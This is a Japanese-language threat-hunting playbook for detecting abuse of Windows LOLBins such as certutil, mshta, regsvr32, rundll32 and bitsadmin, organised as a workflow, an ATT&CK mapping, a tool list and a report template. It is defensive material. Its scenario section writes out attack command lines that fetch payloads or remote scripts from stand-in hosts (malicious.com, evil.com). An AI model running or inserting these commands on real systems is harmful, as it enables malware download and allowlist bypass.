hunting-for-living-off-the-land-binaries

Living-off-the-Land Binaries（LOLBins）のハンティング

使用するタイミング

• 従来のアンチウイルスをすり抜けるファイルレスマルウェアのキャンペーンを調査するとき
• 防御回避テクニックを対象とした能動的な脅威ハンティングを実施するとき
• EDR アラートが、正規のバイナリが通常とは異なる子プロセスを実行したことを検知したとき
• 脅威インテリジェンスレポートにより、進行中のキャンペーンで LOLBin の悪用が示されたとき
• レッドチーム/パープルチームの演習で、T1218 に対する検知カバレッジを検証するとき

前提条件

• EDR テレメトリへのアクセス（CrowdStrike、Microsoft Defender for Endpoint、SentinelOne）
• プロセス作成ログを収集できる SIEM（Sysmon イベント ID 1、Windows セキュリティ 4688）
• LOLBAS Project（lolbas-project.github.io）の参照リストに関する知識
• PowerShell のコマンドラインログ記録が有効であること（モジュールログ、スクリプトブロックログ）
• 送信接続を相関分析するためのネットワークプロキシまたはファイアウォールのログ

ワークフロー

1. ハンティング仮説の定義: 脅威インテルに基づいて仮説を立てます（例: 「攻撃者が certutil.exe を使って外部ドメインから第 2 段階のペイロードをダウンロードしている」）。
2. 対象 LOLBin の特定: 現在の脅威の状況に合致するものを優先し、LOLBAS Project のデータベースから対象バイナリを選択します（certutil、mshta、rundll32、regsvr32、msiexec、wmic、cmstp、bitsadmin）。
3. プロセステレメトリの収集: EDR または SIEM に対して、対象 LOLBin が通常とは異なるコマンドライン引数、親プロセス、または実行コンテキストで行うプロセス作成イベントを照会します。
4. 通常の挙動のベースライン化: 過去の発生頻度、一般的な親プロセス、標準的な引数を分析し、自社環境における各 LOLBin の正当な使用パターンを把握します。
5. 異常の特定: 現在のテレメトリをベースラインと比較し、ネットワーク接続を伴う実行、エンコードされたコマンド、通常とは異なるファイルパス、異常な親子プロセスチェーンにフラグを立てます。
6. 相関分析と情報の補強: 異常な LOLBin の活動を、ネットワークログ、DNS クエリ、ファイル作成イベント、脅威インテリジェンスフィードと照合します。
7. 文書化と報告: 調査結果を記録し、検知ルールを更新し、特定された悪意のある LOLBin の使用について IOC リストを作成します。

主要な概念

概念	説明
LOLBin	攻撃者が悪意ある目的で悪用する正規の OS バイナリ
LOLBAS Project	Windows の LOLBin、LOLLib、LOLScript をコミュニティが厳選したリスト
T1218	MITRE ATT&CK - Signed Binary Proxy Execution（署名済みバイナリのプロキシ実行）
T1218.001	Compiled HTML File（mshta.exe）
T1218.002	Control Panel（control.exe）
T1218.003	CMSTP
T1218.005	Mshta
T1218.010	Regsvr32
T1218.011	Rundll32
T1197	BITS Jobs（bitsadmin.exe）
T1140	Deobfuscate/Decode Files（certutil.exe）
Proxy Execution	信頼されたバイナリを使って信頼されていないコードを実行すること
Fileless Attack	ファイルをほとんど残さず、主にメモリ上で動作する攻撃

ツールとシステム

ツール	用途
CrowdStrike Falcon	EDR テレメトリとプロセスツリーの分析
Microsoft Defender for Endpoint	KQL クエリによる高度なハンティング
Splunk	SIEM のログ集約と SPL クエリ
Elastic Security	検知ルールとタイムライン調査
Sysmon	詳細なプロセス作成とネットワークのロギング
LOLBAS Project	LOLBin の機能に関する参照データベース
Sigma Rules	LOLBin 向けの汎用検知ルール形式
Velociraptor	エンドポイントのフォレンジック収集とハンティング

よくあるシナリオ

1. Certutil ダウンロードクラドル: 攻撃者は certutil.exe -urlcache -split -f http://malicious.com/payload.exe を使用してマルウェアをダウンロードし、certutil のトラフィックを許可しているWebプロキシを回避します。
2. Mshta HTA 実行: 攻撃者はメールでHTAファイルを配信し、署名済みのMicrosoftバイナリである mshta.exe を通じてVBScriptのペイロードを実行させます。
3. Rundll32 DLL プロキシロード: 悪意のあるDLLを rundll32.exe shell32.dll,ShellExec_RunDLL で読み込み、信頼されたバイナリを経由して実行をプロキシさせます。
4. Regsvr32 Squiblydoo: リモートのSCTファイルを regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll で実行し、アプリケーションのホワイトリストを回避します。
5. BITSAdmin 永続化: 攻撃者は bitsadmin /transfer を使用してBITS転送ジョブを作成し、ペイロードを繰り返しダウンロードして実行します。

出力形式

Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
Hypothesis: [Stated hypothesis]
LOLBins Investigated: [List of binaries]
Time Range: [Start] - [End]
Data Sources: [EDR, Sysmon, SIEM]
Findings:
  - [Finding 1 with evidence]
  - [Finding 2 with evidence]
Anomalies Detected: [Count]
True Positives: [Count]
False Positives: [Count]
IOCs Identified: [List]
Detection Rules Created/Updated: [List]
Recommendations: [Next steps]